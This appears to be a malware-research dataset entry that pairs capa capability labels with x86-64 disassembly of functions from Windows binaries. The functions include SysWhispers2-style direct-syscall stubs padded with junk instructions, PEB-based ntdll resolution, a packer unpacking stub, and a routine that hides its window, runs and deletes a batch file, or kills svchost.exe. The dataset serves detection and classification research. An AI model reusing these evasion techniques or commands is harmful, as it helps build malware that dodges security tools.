joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011410
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push r14
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
test rdx, rdx
lea rbp, [rdx + 7]
mov rsi, rcx
mov r14, rdx
cmovns rbp, rdx
mov ebx, r8d
sar rbp, 3
cmp rdx, 7
jle 0x140011530
mov rcx, qword [0x14009a4f0]
call fcn.140018400
cmp byte [rax], 0
jne 0x140011523
xor r8d, r8d
lea rcx, [0x140021bc0]
nop dword [rax + rax]
mov eax, dword [rsi + r8*8]
xor eax, ebx
mov ebx, dword [rsi + r8*8 + 4]
add r8, 1
mov edx, ebx
movzx r9d, bl
movzx edi, bh
shr ebx, 0x10
shr edx, 0x18
movzx ebx, bl
mov edx, dword [rcx + rdx*4]
xor edx, dword [rcx + r9*4 + 0xc00]
movzx r9d, al
xor edx, dword [rcx + r9*4 + 0x1c00]
mov r9d, eax
shr r9d, 0x18
xor edx, dword [rcx + r9*4 + 0x1000]
mov r9d, edi
movzx edi, ah
shr eax, 0x10
movzx eax, al
xor edx, dword [rcx + r9*4 + 0x800]
mov r9d, edi
xor edx, dword [rcx + rbx*4 + 0x400]
mov ebx, dword [rcx + rax*4 + 0x1400]
xor edx, dword [rcx + r9*4 + 0x1800]
xor ebx, edx
cmp rbp, r8
jg 0x140011460
lea rdx, [rbp*8]
cmp r14, 7
mov eax, 8
cmovle rdx, rax
cmp r14, rdx
jle 0x140011523
add rdx, rsi
lea rcx, [0x140021bc0]
add rsi, r14
nop word [rax + rax]
movzx r8d, byte [rdx]
add rdx, 1
xor r8d, ebx
shr ebx, 8
movzx r8d, r8b
xor ebx, dword [rcx + r8*4]
cmp rdx, rsi
jne 0x140011508
mov eax, ebx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r14
ret
xor edx, edx
jmp 0x1400114f0
Function at 0x140014ac0
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Populate syswhispers2 syscall list
Resolve function by parsing pe exports

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
mov eax, dword [0x14001e3a0]
test eax, eax
jne 0x140014cdd
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x10]
mov rax, qword [rcx + 0x30]
test rax, rax
je 0x140014d21
xor r9d, r9d
nop word [rax + rax]
mov rdx, rax
movsxd rax, dword [rax + 0x3c]
mov eax, dword [rdx + rax + 0x88]
test eax, eax
je 0x140014b3f
lea r9, [rdx + rax]
mov eax, dword [r9 + 0xc]
add rax, rdx
mov r8d, dword [rax]
or r8d, 0x20202020
cmp r8d, 0x6c64746e
jne 0x140014b3f
mov eax, dword [rax + 4]
or eax, 0x20202020
cmp eax, 0x6c642e6c
je 0x140014b54
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x30]
test rax, rax
jne 0x140014b00
test r9, r9
je 0x140014d21
mov eax, dword [r9 + 0x18]
mov edi, dword [r9 + 0x24]
xor r11d, r11d
lea r12, [0x14001e3a8]
mov ebp, dword [r9 + 0x1c]
lea ecx, [rax - 1]
mov eax, dword [r9 + 0x20]
add rdi, rdx
add rbp, rdx
lea rbx, [rdi + rcx*2]
add rax, rdx
lea rsi, [rax + rcx*4]
jmp 0x140014b9c
sub rsi, 4
lea rax, [rbx - 2]
cmp rdi, rbx
je 0x140014c30
mov rbx, rax
mov eax, dword [rsi]
add rax, rdx
cmp word [rax], 0x775a
jne 0x140014b88
mov r13d, r11d
shl r13, 4
add r13, r12
cmp byte [rax], 0
je 0x140014d2c
cmp byte [rax + 1], 0
mov r8d, 0xc36a69e6
mov ecx, 1
mov r9d, 1
je 0x140014bf6
nop word [rax + rax]
mov r10d, r8d
movzx ecx, word [rax + rcx]
add r9d, 1
ror r10d, 8
add ecx, r10d
xor r8d, ecx
mov ecx, r9d
cmp byte [rax + rcx], 0
jne 0x140014bd8
mov dword [r13], r8d
movzx eax, word [rbx]
add r11d, 1
mov eax, dword [rbp + rax*4]
mov qword [r13 + 8], 0
mov dword [r13 + 4], eax
cmp r11d, 0x1f4
jne 0x140014b88
mov dword [0x14001e3a0], 0x1f4
jmp 0x140014c41
mov dword [0x14001e3a0], r11d
cmp r11d, 1
je 0x140014cdd
xor ebx, ebx
lea r10, [0x14001e3a8]
nop word [rax + rax]
mov eax, r11d
mov r9d, dword [0x14001e3ac]
xor edx, edx
sub eax, ebx
cmp eax, 1
je 0x140014d10
nop word [rax + rax]
lea eax, [rdx + 1]
mov rcx, rax
shl rax, 4
add rax, r10
mov r8d, dword [rax + 4]
cmp r8d, r9d
jae 0x140014cf0
mov r11d, dword [rax]
shl rdx, 4
movd xmm1, r9d
lea r8, [r10 + rdx]
movd xmm0, dword [r10 + rdx]
mov dword [r8], r11d
mov r11d, dword [rax + 4]
punpckldq xmm0, xmm1
mov rdx, qword [r8 + 8]
mov dword [r8 + 4], r11d
mov r11, qword [rax + 8]
mov qword [r8 + 8], r11
movq qword [rax], xmm0
mov r11d, dword [0x14001e3a0]
mov qword [rax + 8], rdx
lea eax, [r11 - 1]
mov edx, eax
sub edx, ebx
cmp ecx, edx
jb 0x140014cff
add ebx, 1
cmp ebx, eax
jb 0x140014c50
mov eax, 1
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
lea eax, [r11 - 1]
mov edx, eax
sub edx, ebx
cmp ecx, edx
jae 0x140014cd2
mov r9d, r8d
mov edx, ecx
jmp 0x140014c70
lea eax, [r11 - 1]
add ebx, 1
cmp ebx, eax
jb 0x140014c50
jmp 0x140014cdd
xor eax, eax
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov r8d, 0xb0db3b73
jmp 0x140014bf6
Function at 0x140014e60
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
inc rax
dec rax
mov qword [rsp + 0x10], rdx
inc rax
dec rax
mov qword [rsp + 0x18], r8
inc rax
dec rax
mov qword [rsp + 0x20], r9
inc rax
dec rax
sub rsp, 0x28
inc rax
dec rax
mov ecx, 0xc39fc115
inc rax
dec rax
call fcn.140014d40
inc rax
dec rax
add rsp, 0x28
inc rax
dec rax
mov rcx, qword [rsp + 8]
inc rax
dec rax
mov rdx, qword [rsp + 0x10]
inc rax
dec rax
mov r8, qword [rsp + 0x18]
inc rax
dec rax
mov r9, qword [rsp + 0x20]
inc rax
dec rax
mov r10, rcx
inc rax
dec rax
syscall
inc rax
dec rax
ret

Function at 0x1400154e0
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x1f890907
call fcn.140014d40
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140015530
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x395011f
call fcn.140014d40
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140015580
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0xc8271771
call fcn.140014d40
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x1400155d0
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
inc rax
dec rax
mov qword [rsp + 0x10], rdx
inc rax
dec rax
mov qword [rsp + 0x18], r8
inc rax
dec rax
mov qword [rsp + 0x20], r9
inc rax
dec rax
sub rsp, 0x28
inc rax
dec rax
mov ecx, 0x1ebe0c2f
inc rax
dec rax
call fcn.140014d40
inc rax
dec rax
add rsp, 0x28
inc rax
dec rax
mov rcx, qword [rsp + 8]
inc rax
dec rax
mov rdx, qword [rsp + 0x10]
inc rax
dec rax
mov r8, qword [rsp + 0x18]
inc rax
dec rax
mov r9, qword [rsp + 0x20]
inc rax
dec rax
mov r10, rcx
inc rax
dec rax
syscall
inc rax
dec rax
ret

Function at 0x140015670
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
inc rax
dec rax
mov qword [rsp + 0x10], rdx
inc rax
dec rax
mov qword [rsp + 0x18], r8
inc rax
dec rax
mov qword [rsp + 0x20], r9
inc rax
dec rax
sub rsp, 0x28
inc rax
dec rax
mov ecx, 0x10b65e17
inc rax
dec rax
call fcn.140014d40
inc rax
dec rax
add rsp, 0x28
inc rax
dec rax
mov rcx, qword [rsp + 8]
inc rax
dec rax
mov rdx, qword [rsp + 0x10]
inc rax
dec rax
mov r8, qword [rsp + 0x18]
inc rax
dec rax
mov r9, qword [rsp + 0x20]
inc rax
dec rax
mov r10, rcx
inc rax
dec rax
syscall
inc rax
dec rax
ret
Function at 0x140015710
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
inc rax
dec rax
mov qword [rsp + 0x10], rdx
inc rax
dec rax
mov qword [rsp + 0x18], r8
inc rax
dec rax
mov qword [rsp + 0x20], r9
inc rax
dec rax
sub rsp, 0x28
inc rax
dec rax
mov ecx, 0x6193216b
inc rax
dec rax
call fcn.140014d40
inc rax
dec rax
add rsp, 0x28
inc rax
dec rax
mov rcx, qword [rsp + 8]
inc rax
dec rax
mov rdx, qword [rsp + 0x10]
inc rax
dec rax
mov r8, qword [rsp + 0x18]
inc rax
dec rax
mov r9, qword [rsp + 0x20]
inc rax
dec rax
mov r10, rcx
inc rax
dec rax
syscall
ret
Function at 0x1400174d0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.14001d620
mov r8d, 0x1b
mov edx, 1
lea rcx, str.fpteauoputzzaiioedwpazatmc_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.14001d620
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140017540
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14009f274]
mov rbx, rcx
test esi, esi
jle 0x140017670
mov rax, qword [0x14009f278]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14001758b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140017615
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140017570
mov rcx, rbx
call fcn.140017f90
mov rdi, rax
test rax, rax
je 0x140017692
mov rax, qword [0x14009f278]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400180d0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14009f278]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140017677
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14001760e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140017620
add dword [0x14009f274], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14009f278]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14001760e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.lxiabwlrwgulxajcqwwhnzgtdvnivkxgp_0x_x
mov edx, eax
call fcn.1400174d0
nop dword [rax]
xor esi, esi
jmp 0x140017598
mov rax, qword [0x14009f278]
mov edx, dword [rdi + 8]
lea rcx, str.__jpowwkwhlzsuimotggh_for__d_srxkreytflhztblr__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400174d0
mov rdx, rbx
lea rcx, str.eamegvkkiejknaowrctutuumdtstety
call fcn.1400174d0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140017c00
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14009f2e0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14009f2c0]
test rbx, rbx
je 0x140017c5c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140017c53
test rsi, rsi
je 0x140017c53
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140017c38
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140017f90
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14009a500]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140017fb0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140017fb8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140017fb0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14001800d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140018004
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140017fb0
add rax, 0x28
cmp rax, r9
jne 0x140017ff0
xor eax, eax
ret

Function at 0x140018010
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14009a500]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14001802f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140018038
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14001802f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400180d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14009a500]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400180ef
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400180f8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400183a0
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [0x14009f360], 0xffffffff
mov r8d, 0xffff
call qword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
mov qword [0x14009f368], rax
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x1400183f0
lea rdx, [0x1400182b0]
mov ecx, eax
mov dword [0x14009f358], eax
call fcn.14001dd70
test eax, eax
jne 0x1400183f8
add rsp, 0x28
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1400183e7
call sub.msvcrt.dll_abort
nop
nop
Function at 0x140018400
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
mov rsi, qword [0x14009a490]
mov r11d, dword [rsi]
mov rbx, rcx
test r11d, r11d
jne 0x140018438
mov rax, qword [rcx + 0x10]
test rax, rax
je 0x1400184a0
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov r12, qword [rcx + 0x10]
test r12, r12
je 0x1400184b0
mov esi, dword [0x14009f358]
mov r13, qword [sym.imp.KERNEL32.dll_GetLastError]
call r13
mov edi, eax
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, edi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
test rsi, rsi
je 0x140018520
mov rbp, qword [rsi]
cmp rbp, r12
jb 0x140018568
sub r12, 1
mov rax, qword [rsi + r12*8 + 8]
test rax, rax
jne 0x140018427
mov rcx, rbx
call fcn.140018300
mov qword [rsi + r12*8 + 8], rax
jmp 0x140018427
call fcn.140018300
mov qword [rbx + 0x10], rax
jmp 0x140018427
mov r10d, dword [rsi]
test r10d, r10d
je 0x1400185ca
mov r9d, dword [0x140020330]
test r9d, r9d
je 0x1400185f8
lock add dword [0x14009f360], 1
jne 0x14001862c
mov r12, qword [rbx + 0x10]
test r12, r12
je 0x1400185d7
mov eax, dword [rsi]
test eax, eax
je 0x140018441
lock sub dword [0x14009f360], 1
js 0x140018441
mov rcx, qword [0x14009f368]
xor r8d, r8d
mov edx, 1
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
jmp 0x140018441
lea rcx, [r12 + 0x21]
mov edx, 8
lea rdi, [r12 + 0x20]
call sub.msvcrt.dll_calloc
mov rsi, rax
test rax, rax
je 0x140018653
mov qword [rax], rdi
mov ecx, dword [0x14009f358]
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
jne 0x14001847b
call r13
jmp 0x14001847b
lea rdi, [rbp + rbp]
lea rax, [r12 + 0x20]
mov rcx, rsi
cmp rdi, r12
cmovb rdi, rax
lea rdx, [rdi*8 + 8]
call sub.msvcrt.dll_realloc
mov rsi, rax
test rax, rax
je 0x140018653
mov qword [rax], rdi
sub rdi, rbp
lea rcx, [rax + rbp*8 + 8]
xor edx, edx
lea r8, [rdi*8]
call sub.msvcrt.dll_memset
jmp 0x140018543
call fcn.1400183a0
mov dword [0x140020330], 1
mov edx, dword [rsi]
test edx, edx
jne 0x1400184cc
mov r12, qword [rbx + 0x10]
test r12, r12
jne 0x140018441
mov rax, qword [0x14009f350]
lea r12, [rax + 1]
mov qword [0x14009f350], r12
mov qword [rbx + 0x10], r12
jmp 0x1400184e7
lock add dword [0x140020334], 1
je 0x1400185b1
mov r8d, dword [0x140020330]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
lea rdi, [0x140020330]
test r8d, r8d
jne 0x1400185c0
nop dword [rax]
xor ecx, ecx
call rbp
mov ecx, dword [rdi]
test ecx, ecx
je 0x140018620
jmp 0x1400185c0
mov rcx, qword [0x14009f368]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1400184da
lock sub dword [0x14009f360], 1
jmp 0x1400184da
call sub.msvcrt.dll_abort
nop
nop dword [rax]
cmp qword [rcx], rdx
jae 0x140018670
mov qword [rcx], rdx
mov qword [rcx + 0x18], 0
cmp qword [rcx + 8], r8
jae 0x14001867a
mov qword [rcx + 8], r8
test r9, r9
je 0x140018684
cmp qword [rcx], rdx
je 0x140018688
ret
mov qword [rcx + 0x18], r9
ret
Function at 0x96b620
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x96b62d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x96b63d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x96b625
lea eax, [rcx + 1]
jmp 0x96b64b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x96b65e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x96b644
sub eax, 3
jb 0x96b67e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x96b6cd
sar eax, 1
movsxd rbp, eax
jb 0x96b6b4
jmp 0x96b68c
add ebx, ebx
jne 0x96b68a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x96b6b4
inc ecx
add ebx, ebx
jne 0x96b69a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x96b6b4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x96b6ad
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x96b69c
add ecx, 2
jmp 0x96b6b9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.0096b5e2
jmp 0x96b62d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x236000
mov dl, 0x24
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x96b719
cmp rsi, rcx
jae 0x96b721
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x96b700
cmp al, 0x8f
ja 0x96b700
cmp byte [rsi - 2], 0xf
je 0x96b706
sub al, 0xe8
cmp al, 1
ja 0x96b6ea
cmp rsi, rcx
jae 0x96b721
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x96b6f0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x96b721
lodsb al, byte [rsi]
jmp 0x96b700
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x564000]
mov eax, dword [rdi]
or eax, eax
je 0x96b77e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x56b000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x96b72e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x96b778
mov qword [rbx], rax
add rbx, 8
jmp 0x96b74e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x96b7c2
cmp al, 0xef
ja 0x96b7aa
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x96b78a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x96b799
mov eax, dword [rdi]
add rdi, 4
jmp 0x96b799
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x96b816
sub rsp, 0xffffffffffffff80
jmp 0x46d540
Function at 0x140001290
Capabilities:
Delete file
Execute command
Hide graphical window

Disassembly:
sub rsp, 0x158
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rsp + 0x140], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x30]
call fcn.140002090
nop
cmp qword [rsp + 0xb8], 0
je 0x140001335
lea rcx, [rsp + 0x30]
call fcn.140002570
lea rcx, [rsp + 0x38]
call fcn.1400024b0
test rax, rax
jne 0x140001319
mov rax, qword [rsp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x30]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, str.C:UsersKDF62DFJFJFF26J.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersKDF62DFJFJFF26J.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
jmp 0x140001343
lea rcx, str.taskkill__F__im_svchost.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
lea rcx, [rsp + 0x30]
call fcn.140001370
xor eax, eax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140002a90
add rsp, 0x158
ret
Function at 0x1400017c0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x1400017e1
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000180e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140001810
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140001869
test ecx, ecx
jle 0x140001849
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140001869
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140001869
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al